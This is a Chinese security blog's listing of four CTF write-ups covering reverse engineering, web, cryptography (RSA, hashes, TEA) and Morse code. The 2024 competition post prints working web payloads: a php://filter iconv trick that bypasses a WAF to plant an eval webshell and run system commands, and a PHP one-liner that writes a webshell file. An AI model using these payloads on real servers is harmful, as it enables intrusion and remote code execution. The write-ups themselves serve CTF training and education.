首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
4
篇与
的结果
2024-05-14
【CTF解题】2024年浙江省CTF网络安全竞赛
留言随缘更新,只公布解题结果,太懒了。。。Reverse模拟人生{collapse}{collapse-item label="伪C代码" close}unsigned __int64 __fastcall sub_40350F(int a1, int a2, int a3, int a4, int a5) { __int64 v5; // rbx int *v6; // rdx int v11; // [rsp+20h] [rbp-F0h] int i; // [rsp+24h] [rbp-ECh] __int64 v13; // [rsp+28h] [rbp-E8h] int v14[8]; // [rsp+30h] [rbp-E0h] int v15[42]; // [rsp+50h] [rbp-C0h] BYREF unsigned __int64 v16; // [rsp+F8h] [rbp-18h] v16 = __readfsqword(0x28u); v13 = a1; v11 = 0; v14[0] = a2; v14[1] = a3; v14[2] = a4; v14[3] = a5; while ( v11 <= 3 ) { v5 = v13 * v14[v11]; v13 = v5 / (int)sub_4034E1((unsigned int)v13, (unsigned int)v14[v11++]); } if ( a2 > 0 && a3 > 0 && a4 > 0 && a5 > 0 && a1 == 60 && v13 == 286395540 ) { v6 = v15; memset(v15, 0, 0xA0uLL); v15[0] = 432; v15[1] = 408; v15[2] = 429; v15[3] = 438; v15[4] = 452; v15[5] = 246; v15[6] = 243; v15[7] = 417; v15[8] = 423; v15[9] = 444; v15[10] = 236; v15[11] = 231; v15[12] = 203; v15[13] = 447; v15[14] = 227; v15[15] = 435; v15[16] = 252; v15[17] = 224; v15[18] = 204; v15[19] = 443; v15[20] = 419; v15[21] = 248; v15[22] = 442; v15[23] = 241; v15[24] = 203; v15[25] = 251; v15[26] = 445; v15[27] = 239; v15[28] = 441; v15[29] = 254; v15[30] = 444; v15[31] = 246; v15[32] = 203; v15[33] = 245; v15[34] = 255; v15[35] = 445; v15[36] = 434; v15[37] = 478; for ( i = 0; v15[i]; ++i ) std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)((v15[i] >> 2) ^ 0xA), v6); } return __readfsqword(0x28u) ^ v16; }{/collapse-item}{/collapse}以上是sub_40350F函数内的代码,不难看出v15存储的就是做过处理的flag,关键就是 v15[i] >> 2 ^ 0xa,我们就模仿它写个脚本解下,就能拿到最终的flag。v15 = [ 432, 408, 429, 438, 452, 246, 243, 417, 423, 444, 236, 231, 203, 447, 227, 435, 252, 224, 204, 443, 419, 248, 442, 241, 203, 251, 445, 239, 441, 254, 444, 246, 203, 245, 255, 445, 434, 478 ] for num in v15: result = chr((num >> 2) ^ 0xA) print(result, end='')Webyc2_web1<?php highlight_file(__FILE__); error_reporting(0); function waf01($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log/i',$x)){ die('You are hacker!!! No!!!'); } } $file=$_GET['file']; $contents=$_GET['contents']; waf01($file); file_put_contents($file, "<?php die();?>".$contents);GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php&contents=?<hp pe@av(l_$OPTSa[aa]a;)>? POST: aaaa=system("tac flag.php");先GET请求下这个时候木马就被写入到服务器里了,然后POST提交就能获取到flag。综合渗透1这题要进后台先找打后台,然后账号密码爆破,账号密码 admin/admin第一题是有提示,第二题flag:在home综合渗透1-2<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["pass"]);?>');?>前端找可执行php代码的地方,写入一句话木马。第三个flag,在第二题有提示:在数据库。综合渗透1-3这样就都找到了。Crypto...Misc伪加密找到 14 00 09 这段改成 14 00 00 保存,即可解zip压缩包伪加密。地狱模式题目是一个jar文件,玩游戏坚持一分钟就给你flag,这里直接反编译下取flag。打篮球之前先找到flag吧压缩包里是一个ELF文件,我直接用strings 过滤下flag,直接就拿到了。这是sql盲注嘛?直接用http对象列表查看,字节大小定位返回内容,这里我已经确定 21 bytes 是成功的,那么排序下找盲注的数字,数字ASCII转换字符拼接就是flag了。...
2024年05月14日
778 阅读
0 评论
8 点赞
2022-11-14
【CTF解题】密码学中的加密算法
简介在日常生活中,很多人的账号密码、银行卡、app上登录的密码,按人的习惯都会设置成让自己好记一些的密码,如出生年月日、生日加名字、手机号、等等,公共场合的WIF也是如此,安全意识不够强就会存在弱密码。假如你的QQ密码泄露了,那么坏人会拿着你的账号和密码去登录游戏,和一些不需验证的平台,又或是假冒你的身份,给你的朋友发送诈骗的信息。有一种叫做撞库,得到你的账号和密码时,就会根据你注册过的网站,进行登录往往都会成功,一般来说人对密码的记忆总是会忘的,记那么多还不如记住一个就够了,这样密码都是一致的了那么撞库的可能性就很大了。在日常的暴力破解中,采用纯数字的密码是最容易破解的,我会结合以下的几点给大家讲解下。纯数密码纯3位数字的密码,在日常生活中很常见,如行李箱它会有密码也有锁,两个都可以打开行李箱的。是纯数字的话,那么就从 0 1 2 3 4 5 6 7 8 9 有十个数,要计算那么就是 10 的 3次方,也就等于 1000 种可能。计算1秒执行次数import datetime startTick = datetime.datetime.now() i = 0 while True: i = i + 1 endTick = datetime.datetime.now() if (endTick - startTick).seconds == 1: break print(i)在Python中运行了下代码,我的电脑跑了下理论上一秒一百四十多万左右,这个都说不定的只是大概上,这个还得看电脑性能了,可以发现破解三位数的密码都花不上1秒时间。计算时间差import time import datetime start = datetime.datetime.now() time.sleep(5) end = datetime.datetime.now() print((end - start).seconds)计算公式10 ^ 3 = 1000 次 # 因为从0到9是10个数字 密码有三位那就用 10 ^ 3 = 1000 种可能性 10 ^ 8 ÷ 1000000 ÷ 60 = 1 分钟 # 密码 ^ 位数 ÷ 1秒次数 ÷ 60 = 1分钟 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 = 27 小时 10 ^ 8 ÷ 1000 ÷ 60 ÷ 60 ÷ 24 = 1 天 10 ^ 8 ÷ 10 ÷ 60 ÷ 60 ÷ 365 = 7 年同理密码长度可以更改一下,得到了电脑1秒运算的次数,直接可以利用这个公式可以计算出,以上可以看出8位数字的纯密码破解只需要1分钟,就可以试完密码范围所有的可能性,以下这张表可以很明显的看出来。总结大小写加符号作为密码不用纯数字,可以减少暴力破解的成功率。密码最好准备几个,不要用同一个密码,避免被撞库登录。加密思想置换:按照规则替换文明信息。移位:打乱字母的排列顺序。移位和置换都是可逆操作,容易恢复信息。移位 置换应用于现代算法中。加密实现 不只是依赖以上基本思想 同时依赖很多巧妙的设计。如军事应用的加密电报 除了使用安全性很高的编码规则以外,解密还涉及到发报文双方的约定。凯撒密码 Caesar cipher由Julius Caesar发明英语:Caesar cipher明文字母: A B C D E F G H I K L M N O P Q R S T V X Y Z密文字母: D E F G H I K L M N O P Q R S T V X Y Z A B C注意: 共23个字母 而 J U W 拉丁文不用 明文: meet me after the toga party密文: PHHW PH DIWHU WKH WRJD SDUWB单表代替密码不能掩盖明文语言所有统计特性。对称加密 Symmetric encryption对称加密:使用同一密钥进行加密和解密传统密码加密私钥算法加密优势:加解密速度快,密文是紧凑,安全对称加密密钥长度从40bits到168bits著名加密算法:DES 3DES AES RC系列(RC2 RC4 RC5)IDEA CAST BlowfishDES(Data Encryption Standard)DES是一种分组加密算法 20世纪70年代 由IBM公司发明1976年11月纳为美国家标准DES密钥是固定56bit,不安全DES以块模式对64bit的密文进行操作3DES(Triple DES)密钥长度放大3倍,168位。暴力破解几乎不可能实现。安全但会增加延迟,语言视频不适用。AES (Advanced Encryption Standard)1997年被发布取代DES加密算法适用于高速网络,适合的硬件上实现使用128位 192位或256位密钥块(还能扩展32bit)3DES替代加密技术,软硬件运行效率高,可用于无限/语音视频加密RC4(Rivest Cipher 4)Rivest设计密钥长度可变流模式加密算法,面向bit操作算法基于随机置换RC4应用广泛 (https/WEP/WPA) WPA2-AES非对称加密 Asymmetric Cryptography公钥加密比私钥加密出现的晚私钥加密使用同一个密钥来加密和解密信息公钥加密使用两个密钥,一个密钥用于加密信息,另一个用来解密信息。公钥加密,私钥解密公钥加密,公钥不能解密私钥加密,私钥不能解密应用: 公钥加密,保密性 私钥加密:数字签名私钥需要安全保存(不通过网络传送)密钥公开加密速度慢,密文非紧凑可以与对称加密相结合RSA(Rivest-Shamir-Adleman)1977年由Ron Rivest、Adi Shamir和Len Adelman开发专利于2000年9月到期密钥长度在512~4096bit之间安全性基于大素数因子分解的困难性RSA比用软件实现的DES慢100倍.RSA比用硬件实现的DES慢1000倍RSA的主要功能∶加密、数字签名和密钥交换(加密散列、密钥)数字签名过程数字证书与CA简:主要用来证明这个公钥是不是你的,由CA权威机构通过数字证书去证明。MD5 Hash将一段数据(任意长度)经过一道计算,转换为一段定长的数据。不可逆性: 几乎无法通过Hash结果推导出原文,即无法通过x的Hash值推导出x。无碰撞性: 几乎没有可能找到一个y,使得y的Hash值等于x的Hash值。雪崩效应: 输入轻微变化,Hash输出值产生巨大变化 单向不可能从散列值推出原始数据。有的加密算法是可以被逆向破解而有的是破解不了的,就会有可逆和不可逆的说法,它们分为对称加密和非对称加密。不可逆加密不可逆向的最大特点就是不需要密钥,HMAC是需要的但还是不可逆常见的不可逆加密算法有 MD5、HMAC、SHA1SHA-224、SHA-256、SHA-384、SHA-512 统称SHA2加密算法SHA加密算法安全性比MD5的还要高可逆加密可逆加密算法有 DES、3DES、AES128、AES192、AES256 属于对称加密RSA、SM2、RS256 (采用SHA-256 RSA的签名)属于非对称加密Base64编码 不属于加密算法 只是一种编码MD5加密算法MD5 信息摘要算法(英语:MD5 Message-Digest Algorithm),一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。压缩性:无论数据长度是多少,计算出来的MD5值长度相同容易计算性:由原数据容易计算出MD5值抗修改性:即便修改一个字节,计算出来的MD5值也会巨大差异抗碰撞性:知道数据和MD5值,很小概率找到相同MD5值相同的原数据package main import ( "crypto/md5" "fmt" ) func Calcmd5(cont string) string { data := []byte(cont) has := md5.Sum(data) md5str := fmt.Sprintf("%x", has) return md5str } func main() { sum := Calcmd5("go") fmt.Println(sum) }HMAC算法HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,由H.Krawezyk,M.Bellare,R.Canetti于1996年提出的一种基于Hash函数和密钥进行消息认证的方法,并于1997年作为RFC2104被公布,并在IPSec和其他网络协议(如SSL)中得以广泛应用,现在已经成为事实上的Internet安全标准。它可以与任何迭代散列函数捆绑使用。package main import ( "crypto/hmac" "crypto/sha512" "encoding/base64" "fmt" ) func ComputHmacSha512(message string, secret string) string { data := []byte(secret) hmacd := hmac.New(sha512.New, data) hmacd.Write([]byte(message)) return base64.StdEncoding.EncodeToString([]byte(hmacd.Sum(nil))) } func main() { ret := ComputHmacSha512("123", "dGhpcyBpcyBhIGtleQ==") fmt.Println(ret) }SHA系列安全散列算法(英语:Secure Hash Algorithm,缩写为SHA)是一个密码散列函数家族,是FIPS所认证的安全散列算法。能计算出一个数字消息所对应到的,长度固定的字符串(又称消息摘要)的算法。且若输入的消息不同,它们对应到不同字符串的机率很高。SHA-1加密算法有碰撞的可能性,虽然很小。package main import ( "crypto/sha256" "encoding/hex" "fmt" ) func GetSha256(str string) string { srcByte := []byte(str) sha256New := sha256.New() sha256Bytes := sha256New.Sum(srcByte) sha256String := hex.EncodeToString(sha256Bytes) return sha256String } func main() { ret := GetSha256("123") fmt.Println(ret) }Base64编码package main import ( "encoding/base64" "fmt" ) func Base64Encoding(str string) string { src := []byte(str) res := base64.StdEncoding.EncodeToString(src) return res } func Base64Decoding(str string) string { res, _ := base64.StdEncoding.DecodeString(str) return string(res) } func main() { src := "FanOne" res := Base64Encoding(src) fmt.Println("FanOne 编码成为:", res) ret := Base64Decoding(res) fmt.Println(res, "解码成为:", ret) }TEA加密#include <stdio.h> void encrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { sum += delta; v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); } v[0] = v0; v[1] = v1; } void decrypt(unsigned int *v, unsigned int *k) { unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720; unsigned int delta = 0x9e3779b9; for (int i = 0; i < 32; i++) { v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); sum -= delta; } v[0] = v0; v[1] = v1; } int main() { unsigned int v[2] = {6, 9}, k[4] = {1, 2, 3, 4}; printf("Original data: %u %u\n", v[0], v[1]); encrypt(v, k); printf("Encrypted data: %u %u\n", v[0], v[1]); decrypt(v, k); printf("Decrypted data: %u %u\n", v[0], v[1]); return 0; }
2022年11月14日
64 阅读
0 评论
4 点赞
2022-10-24
【CTF解题】BugKu - Crypto篇
你以为是md5吗解题1.题目描述了md5这种提示,一般都是出题人的暗示,我就喜欢这么出题。2.下载文件下来是一个txt文本文档,里面有串值看起来是md5,好了直接去在线解密了。3.如果这么想就错了,仔细观察会发现md5是以0-9 a-f 组成十六进制数,里面出现了"i u o"很明显这肯定是出题人加的,去除掉再试试看。4.果然是这样,出结果了还真的是666,那么flag就是这个了。flag{666666666666}简单的RSA解题了解RSARSA算法原理 :RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥。RSA算法的具体描述如下:(1)任意选取两个不同的大素数p和q计算乘积 n = pq,n1 = (p-1)(q-1) ;(2)任意选取一个大整数e,满足gcd(e,n1)=1,整数e用做加密钥(注意:e的选取是很容易的,例如,所有大于p和q的素数都可用);(3)确定的解密钥d,满足(de) mod n1 = 1,即de = k(n1)+1,k >= 1 是一个任意的整数;所以,若知道e和n1,则很容易计算出d;(4)公开整数n和e,秘密保存d ;(5)将明文m(m<n是一个整数)加密成密文c,加密算法为:c = E(m)=m^e mod n;(6)将密文c解密为明文m,解密算法为:m = D(c) = c^d mod n;然而只根据n和e(注意:不是p和q)要计算出d是不可能的。因此,任何人都可对明文进行加密,但只有授权用户(知道d)才可对密文解密。RSA解密算法思路 :通过RSA算法原理的第三点可以看到,需要解密出 明文m,就要知道 密钥d,所以算法思路就围绕密钥d进行求解。密钥d 通过 辗转相除法 (欧几里得算法,我后面才知道的......) 进行求解:1、根据算法原理的第三点我们得知:(de) mod n1 = 1,即 de - k(n1) = 1;2、知道 系数k 即可得到 密钥d,且 系数k 存在两种情况:2.1 情况一:n1 != 12.1.1 先 n1 对 e 取模 后得到的值赋值给 n12.1.2 然后 e 对 赋值后的 n1 取模 得到的值赋值给 e......以此类推,最后得到 k = 1 时即可停止;令 d = 1 代入倒数第二条式子,得到k的值代入倒数第三条式子,以此类推当代入至第一条式子时,得到的 d 即为 密钥d 的值;2.2 情况二:n1 = 12.2.1 按照情况一的步骤,最后得到 n1 = 1 时即可停止;根据情况一的步骤代入即可得到 密钥d 的值。3、使用python内置函数 pow函数即可得到 明文m。题目分析1.题目给我们的是一个python的pyc文件,pyc是python编译出的二进制文件,很好转换成py源码的,想要解密就必须了解RSA加解密算法的原理。2.用工具就可以还原出源代码,这里我用一个在线的网站进行转换。解密网站:https://tool.lu/pyc/from Crypto.Util.number import * import gmpy2 import base64 p = int("0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467",16) # 将16进制转换成10进制 q = int("0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9",16) e = 65537 n = p * q c = int("0x75AB3202DE3E103B03C680F2BEBBD1EA689C8BF260963FE347B3533B99FB391F0A358FFAE5160D6DCB9FCD75CD3E46B2FE3CFFE9FA2E9508702FD6E4CE43486631",16) phi = (p-1)*(q-1) #求φ(n),φ(n)=(p-1)(q-1) d = gmpy2.invert(e,phi) #求e对于模n的逆元,即解密指数d m = pow(c,d,n) #m=c^e mod n,m为10进制格式 flag = long_to_bytes(m) #m的字符串形式 print(base64.b64decode(flag)) #上面得到的flag是base64编码,进行一次base64解码即可 # 输出结果:flag{IlikeCTFbutCTFdon'tlikeme}3.根据RSA解密算法公式,解出flag。flag{IlikeCTFbutCTFdon'tlikeme}简单的密码解题1.题目意思是简单的密码,感觉不会太难,试着把题目下载看下。2.打开后二进制?一开始我想的是二进制转换成字符串,尝试失败了后来观察了下,会不会通过二进制的0和1给我们返回给一种状态呢,真的是没想到题目里的0代表 . 而 1 代表 - 这就是摩斯密码的规则。3.拿到在线网站解码下,果然是这样的 摩斯密码是以大写显示,我们要转换成小写,%u7b代表字符 " { " , %u7d代表的是 " } " 那么flag就是这个了。4.可以对照下这个摩斯密码表。Bina = "0010 0100 01 110 1111011 11 11111 010 000 0 001101 1010 111 100 0 001101 01111 000 001101 00 10 1 0 010 0 000 1 01111 10 11110 101011 1111101" strbox = "" for i in Bina: if i == "0": strbox += "." if i == "1": strbox += "-" if i == " ": strbox += " " dic = { ".-": "A", "-...": "B", "-.-.":"C","-..":"D", ".":"E","..-.":"F","--.":"G","....":"H", "..":"I",".---":"J","-.-":"K",".-..":"L", "--":"M","-.":"N","---":"O",".--.":"P", "--.-":"Q",".-.":"R","...":"S","-":"T","----.":"9", "..-":"U","...-":"V",".--":"W","-..-":"X", "..--.-":"_",".----":"1", "-.--":"Y","--..":"Z", "----.--":"{","-----.-":"}","-.-.--":"!","-----":"0" } for i in strbox.split(): print(dic[i].lower(), end="")flag{m0rse_code_1s_interest1n9!}来自宇宙的信号解题1."标准银河字母(Standard Galactic Alphabet)"出自游戏《指挥官基恩》系列。2.一开始还真不知道是什么,百度过后才发现还有这种的,学习了这是标准银河字母,按照这张表输入对应的字母,就是正确的flag了。flag{nopqrst}参考文章https://blog.csdn.net/weixin_43211186/article/details/125180939聪明的小羊解题题目类型:Crypto描述: 一只小羊翻过了2个栅栏 fa{fe13f590lg6d46d0d0}1.题目描述看似给我们提供了flag但经过了加密,他给我们提示了关键信息小羊 栅栏 翻过2个,一开始我还不清楚是个什么加密。2.顺着关键字百度,找到了个栅栏密码,还有这种加密长知识赶紧学习了。3.找到个栅栏密码解密工具,设置翻过2组解密见flag。
2022年10月24日
31 阅读
0 评论
2 点赞
2022-10-22
【CTF解题】摩尔斯电码 ( Morse code )
简介摩尔斯电码(又译为摩斯密码,Morse code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。它发明于1837年,发明者有争议,是美国人塞缪尔·莫尔斯或者艾尔菲德·维尔。 摩尔斯电码是一种早期的数字化通信形式,但是它不同于现代只使用零和一两种状态的二进制代码,它的代码包括五种: 点、划、点和划之间的停顿、每个字符间短的停顿(在点和划之间)、每个词之间中等的停顿以及句子之间长的停顿。26个字母的摩斯密码表字符电码符字符电码符字符电码符字符电码符A.━B━ ...C━ .━ .D━ ..E.F..━ .G━ ━ .H....I..J.━ ━ ━K━ .━L.━ ..M━ ━N━ .O━ ━ ━P.━ ━ .Q━ ━ .━R.━ .S...T━U..━V...━W.━ ━X━ ..━Y━ .━ ━Z━ ━ ..数字的摩斯密码表字符电码符字符电码符字符电码符字符电码符0━ ━ ━ ━ ━1.━ ━ ━ ━2..━ ━ ━3...━ ━4....━5.....6━ ....7━ ━ ...8━ ━ ━ ..9━ ━ ━ ━ . 标点符号的摩斯密码表字符电码符字符电码符字符电码符字符电码符..━ .━ .━:━ ━ ━ ...,━ ━ ..━ ━;━ .━ .━ .?..━ ━ ..=━ ...━'.━ ━ ━ ━ ./━ ..━ .!━ .━ .━ ━━━ ....━_..━ ━ .━".━ ..━ .(━ .━ ━ .)━ .━ ━ .━$...━ ..━&. ...@.━ ━ .━ ..... . .-.. .-.. --- .-- --- .-. .-.. -.. // HELLO WORLD在线转换https://www.lddgo.net/encrypt/morse1.自己写了一个摩斯密码翻译器。{cloud title="下载链接" type="lz" url="https://wwl.lanzoue.com/iQBHx0ejveod" password="ayx9"/}
2022年10月22日
120 阅读
0 评论
1 点赞
0:00